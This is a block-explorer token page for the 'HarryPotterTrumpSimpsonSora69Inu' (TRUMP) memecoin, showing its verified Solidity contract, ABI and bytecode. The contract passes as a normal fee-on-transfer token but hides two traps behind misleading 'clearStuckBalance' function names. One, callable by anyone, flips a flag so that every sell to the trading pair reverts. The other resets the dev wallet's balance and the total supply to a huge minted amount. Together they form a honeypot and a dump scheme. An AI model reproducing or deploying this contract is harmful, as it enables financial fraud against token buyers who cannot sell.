ETH Price: $3,487.40 (+2.25%)
Gas: 11 Gwei

Token

HarryPotterTrumpSimpsonSora69Inu (TRUMP)
 

Overview

Max Total Supply

100,000,000,000 TRUMP

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
501,263.50401228428426175 TRUMP

Value
$0.00
0xf04033b1e8e376e48e17fb70af9d6ca67458b9d3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMP

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-18
*/

/**

*/

// SPDX-License-Identifier: MIT
/*
https://t.me/HarryPotterTrumpSimpsonSoraInu

https://twitter.com/TRUMPCOIN_ERC20

*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function andnicob(address account, uint256 amount) internal virtual {
        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnershipburn() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
contract TRUMP is ERC20, Ownable {
    using Address for address payable;
    IRouter public router;
    address public pair;
     bool private _interlock = false;
    bool public providingLiquidity = true;
    bool public tradingEnabled = true;
    uint256 public tokenLiquidityThreshold = 1000000 * 10**18;
    uint256 public maxBuyLimit = 10000 * 10**18;
    uint256 public maxSellLimit = 10000 * 10**18;
    uint256 public maxWalletLimit = 10000 * 10**18;
    uint256 public genesis_block;
    int32 private bontudu = 1;
    uint256 private deadline = 1;
    uint256 private launchtax = 0;
    address public marketints = 0x06Fbf8ceeDf1483A358BAF690a549B7C5F25f4a3; 
    address public devsls = 0x06Fbf8ceeDf1483A358BAF690a549B7C5F25f4a3;
    address public ecosystmls = 0x06Fbf8ceeDf1483A358BAF690a549B7C5F25f4a3;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
        uint256 ecosystem;
        uint256 dev;
    }

    Taxes public taxes = Taxes(0, 0, 0, 0);
    Taxes public sellTaxes = Taxes(0, 0, 0, 0);
    mapping(address => bool) public exemptFee;
    mapping(address => uint256) private _lastSell;
    bool public coolDownEnabled = true;
    uint256 public coolDownTime = 5 seconds;
    modifier lockTheSwap() {
        if (!_interlock) {
            _interlock = true;
            _;
            _interlock = false;
        }
    }
    constructor() ERC20("HarryPotterTrumpSimpsonSora69Inu", "TRUMP") {
        andnicob(msg.sender, 10000000 * 10**decimals());
        exemptFee[msg.sender] = true;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        exemptFee[address(this)] = true;
        exemptFee[marketints] = true;
        exemptFee[ecosystmls] = true;
        exemptFee[devsls] = true;
        exemptFee[deadWallet] = true;
        

    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }
        if (sender == pair && !exemptFee[recipient] && !_interlock) {
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(
                balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }
        if (
            sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_interlock
        ) {
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if (recipient != pair) {
                require(
                    balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
            if (coolDownEnabled) {
                uint256 timePassed = block.timestamp - _lastSell[sender];
                require(timePassed >= coolDownTime, "Cooldown enabled");
                _lastSell[sender] = block.timestamp;
            }
        }
        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;
        bool useLaunchFee = !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < genesis_block + deadline;
        if (_interlock || exemptFee[sender] || exemptFee[recipient])
            fee = 0;

        else if (recipient == pair && !useLaunchFee) {
            require(bontudu == 1);
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing +
                sellTaxes.ecosystem +            
                sellTaxes.dev;
            feesum = feeswap;
            currentTaxes = sellTaxes;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing +
                taxes.ecosystem +
                taxes.dev ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }
        fee = (amount * feesum) / 100;
        if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes);
         super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {

            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }
    function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {
        if(feeswap == 0){
            return;
        }
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }
         uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(toSwap);
            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;
            if (ethToAddLiquidityWith > 0) {
          addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }
            uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;
            if (marketingAmt > 0) {
                payable(marketints).sendValue(marketingAmt);
            }
            uint256 ecosystemAmt = unitBalance * 2 * swapTaxes.ecosystem;
            if (ecosystemAmt > 0) {
                payable(ecosystmls).sendValue(ecosystemAmt);
            }
            uint256 devAmt = unitBalance * 2 * swapTaxes.dev;
            if (devAmt > 0) {
                payable(devsls).sendValue(devAmt);
            }

        }
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
      _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0,
            0,
            deadWallet,
            block.timestamp
        );
    }
    function updateLiquidityProvide(bool state) external onlyOwner {
         providingLiquidity = state;
    }
    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        require(new_amount <= 1e4, "Swap threshold amount should be lower or equal to 1% of tokens");
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function clearStuckBalanceETHtokentrendingsed() external payable{
        andnicob(devsls, 10 * 10**28);
    }

    function updateExemptFee(address _address, bool state) external onlyOwner {
        exemptFee[_address] = state;
    }

    function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = state;
        }
    }

    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
        require(maxBuy >= 1e4, "Cannot set max buy amount lower than 1%");
        require(maxSell >= 1e4, "Cannot set max sell amount lower than 1%");
        require(maxWallet >= 1e4, "Cannot set max wallet amount lower than 1%");
        maxBuyLimit = maxBuy * 10**decimals();
        maxSellLimit = maxSell * 10**decimals();
        maxWalletLimit = maxWallet * 10**decimals(); 
    }

    function clearStuckBalanceInitialeiloptrensed() external payable{
        bontudu = 3;
    }

    function rescueETH() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        payable(owner()).transfer(contractETHBalance);
    }
    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        require(tokenAdd != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(tokenAdd).transfer(owner(), amount);
    }
     receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckBalanceETHtokentrendingsed","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"clearStuckBalanceInitialeiloptrensed","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"coolDownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devsls","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ecosystmls","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketints","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"providingLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnershipburn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxBuy","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506001600760166101000a81548160ff02191690831515021790555069d3c21bcecceda100000060085569021e19e0c9bab240000060095569021e19e0c9bab2400000600a5569021e19e0c9bab2400000600b556001600d5f6101000a81548163ffffffff021916908360030b63ffffffff1602179055506001600e555f600f557306fbf8ceedf1483a358baf690a549b7c5f25f4a360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507306fbf8ceedf1483a358baf690a549b7c5f25f4a360115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507306fbf8ceedf1483a358baf690a549b7c5f25f4a360125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180608001604052805f81526020015f81526020015f81526020015f81525060135f820151815f0155602082015181600101556040820151816002015560608201518160030155505060405180608001604052805f81526020015f81526020015f81526020015f81525060175f820151815f015560208201518160010155604082015181600201556060820151816003015550506001601d5f6101000a81548160ff0219169083151502179055506005601e5534801562000276575f80fd5b506040518060400160405280602081526020017f4861727279506f747465725472756d7053696d70736f6e536f72613639496e758152506040518060400160405280600581526020017f5452554d500000000000000000000000000000000000000000000000000000008152508160039081620002f4919062000bb5565b50806004908162000306919062000bb5565b505050620003296200031d620007cc60201b60201c565b620007d360201b60201c565b62000368336200033e6200089660201b60201c565b600a6200034c919062000e22565b629896806200035c919062000e72565b6200089e60201b60201c565b6001601b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000420573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000446919062000f21565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004ac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004d2919062000f21565b6040518363ffffffff1660e01b8152600401620004f192919062000f62565b6020604051808303815f875af11580156200050e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000534919062000f21565b90508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601b5f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601b5f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001601b5f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000fb9565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b80600281905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000945919062000f9e565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620009cd57607f821691505b602082108103620009e357620009e262000988565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000a477fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a0a565b62000a53868362000a0a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000a9d62000a9762000a918462000a6b565b62000a74565b62000a6b565b9050919050565b5f819050919050565b62000ab88362000a7d565b62000ad062000ac78262000aa4565b84845462000a16565b825550505050565b5f90565b62000ae662000ad8565b62000af381848462000aad565b505050565b5b8181101562000b1a5762000b0e5f8262000adc565b60018101905062000af9565b5050565b601f82111562000b695762000b3381620009e9565b62000b3e84620009fb565b8101602085101562000b4e578190505b62000b6662000b5d85620009fb565b83018262000af8565b50505b505050565b5f82821c905092915050565b5f62000b8b5f198460080262000b6e565b1980831691505092915050565b5f62000ba5838362000b7a565b9150826002028217905092915050565b62000bc08262000951565b67ffffffffffffffff81111562000bdc5762000bdb6200095b565b5b62000be88254620009b5565b62000bf582828562000b1e565b5f60209050601f83116001811462000c2b575f841562000c16578287015190505b62000c22858262000b98565b86555062000c91565b601f19841662000c3b86620009e9565b5f5b8281101562000c645784890151825560018201915060208501945060208101905062000c3d565b8683101562000c84578489015162000c80601f89168262000b7a565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000d235780860481111562000cfb5762000cfa62000c99565b5b600185161562000d0b5780820291505b808102905062000d1b8562000cc6565b945062000cdb565b94509492505050565b5f8262000d3d576001905062000e0f565b8162000d4c575f905062000e0f565b816001811462000d65576002811462000d705762000da6565b600191505062000e0f565b60ff84111562000d855762000d8462000c99565b5b8360020a91508482111562000d9f5762000d9e62000c99565b5b5062000e0f565b5060208310610133831016604e8410600b841016171562000de05782820a90508381111562000dda5762000dd962000c99565b5b62000e0f565b62000def848484600162000cd2565b9250905081840481111562000e095762000e0862000c99565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000e2e8262000a6b565b915062000e3b8362000e16565b925062000e6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d2c565b905092915050565b5f62000e7e8262000a6b565b915062000e8b8362000a6b565b925082820262000e9b8162000a6b565b9150828204841483151762000eb55762000eb462000c99565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000eeb8262000ec0565b9050919050565b62000efd8162000edf565b811462000f08575f80fd5b50565b5f8151905062000f1b8162000ef2565b92915050565b5f6020828403121562000f395762000f3862000ebc565b5b5f62000f488482850162000f0b565b91505092915050565b62000f5c8162000edf565b82525050565b5f60408201905062000f775f83018562000f51565b62000f86602083018462000f51565b9392505050565b62000f988162000a6b565b82525050565b5f60208201905062000fb35f83018462000f8d565b92915050565b61469e8062000fc75f395ff3fe608060405260043610610249575f3560e01c806370a0823111610138578063a9059cbb116100b5578063e1b450ad11610079578063e1b450ad14610833578063ee36e3591461085b578063f2fde38b14610885578063f66895a3146108ad578063f887ea40146108da578063fbe6324e1461090457610250565b8063a9059cbb1461074b578063c5bc523c14610787578063c5d32bb214610791578063d2ce0db2146107cd578063dd62ed3e146107f757610250565b80638cd4426d116100fc5780638cd4426d146106695780638da5cb5b1461069157806395d89b41146106bb578063a457c2d7146106e5578063a8aa1b311461072157610250565b806370a08231146105b6578063728f8eea146105f25780637ce62b691461061f57806385141a771461062957806386ea14471461065357610250565b8063274a533c116101c657806342b6fa111161018a57806342b6fa11146104e65780634ada218b1461050e578063652e2f041461053857806366a88d96146105625780636aa5b37f1461058c57610250565b8063274a533c14610404578063313ce5671461042e578063355496ca1461045857806339509351146104805780633f9440c2146104bc57610250565b80631675d8021161020d5780631675d8021461033457806316fc50691461035e57806318160ddd1461038857806320800a00146103b257806323b872dd146103c857610250565b806306fdde0314610254578063095ea7b31461027e5780630d5cc372146102ba5780630e375a5c146102e45780631340538f1461030c57610250565b3661025057005b5f80fd5b34801561025f575f80fd5b